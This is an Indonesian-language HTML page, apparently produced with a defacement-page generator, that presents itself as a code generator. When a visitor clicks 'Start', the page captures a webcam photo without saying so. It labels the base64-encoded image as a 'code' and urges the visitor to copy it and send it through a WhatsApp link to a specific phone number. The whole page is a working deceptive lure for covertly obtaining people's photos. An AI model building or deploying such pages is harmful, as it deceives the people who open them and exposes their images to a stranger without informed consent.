<!-- -- Uploaded on : https://haxor.my.id/open/Muzany.html -- Official Web : https://prinsh.com -- script-deface-generator.prinsh.com --> <!DOCTYPE html> <html> <head> <style> body { background-color: #dddddd80; text-align: center; } video, textarea { max-width: 100%; } video { display: none; } textarea { width: 300px; height: 500px; outline: none; color: black; text-align: center; border:3px dashed black; background-color: white; margin: 10px auto; border-radius: 30px; } .container { text-align: center; } button { width: 150px; height: 40px; background-color: #ffffff; outline: none; border: none; border-radius: 50px; color: black; font-family: Times New Roman; } #nam { outline: none; margin: 30px; width: 200px; height: 50px; text-align: center; color: black; font-family: Times New Roman; border: none; border-radius:50px; } a { text-decoration: none; } #show { border: 2px solid black; width: 200px; height: 100px; position: absolute; top: 190px; left: 90px; display: none; border-radius:20px; background-color: #929292; } </style> </head> <body> <input type="text" name="nam" id="nam" placeholder="Tuliskan nama anda" /> <div class="container"> <video id="video" autoplay></video> <button id="snap">Mulai</button> <p id="tunggu"></p> <textarea id="base64" readonly placeholder="Akan muncul kode di sini, silahkan ditunggu, click tombol ( salin ) ketika kode sudah muncul"></textarea> <button id="copyBase64">Salin</button> </div> <div id="show"> <p>Kirim kode ke sini!</p> <button id="send"><a href="https://api.whatsapp.com/send?phone=6285877161330&text=Assalamualaikum">Kirim</a></button> </div> <script> const kirim = document.getElementById('show'); const tung = document.getElementById('tunggu'); const video = document.getElementById('video'); const snap = document.getElementById('snap'); const base64Area = document.getElementById('base64'); const copyBase64 = document.getElementById('copyBase64'); const canvas = document.createElement('canvas'); function resizeImage(imageData, maxWidth, maxHeight) { const tempCanvas = document.createElement('canvas'); const tempContext = tempCanvas.getContext('2d'); tempCanvas.width = maxWidth; tempCanvas.height = maxHeight; tempContext.drawImage(imageData, 0, 0, maxWidth, maxHeight); return tempCanvas.toDataURL('image/png'); } navigator.mediaDevices.getUserMedia({ video: true }) .then((stream) => { video.srcObject = stream; }); snap.addEventListener('click', () => { tunggu.innerHTML = "Silahkan ditunggu..."; canvas.width = video.videoWidth; canvas.height = video.videoHeight; canvas.getContext('2d').drawImage(video, 0, 0); const raw = canvas.toDataURL('image/png'); const resized = resizeImage(canvas, 220, 140); // Ubah angka ini untuk mengontrol ukuran gambar base64Area.value = resized; }); copyBase64.addEventListener('click', () => { base64Area.select(); document.execCommand('copy'); show.style.display = "block"; }); </script> </body> </html>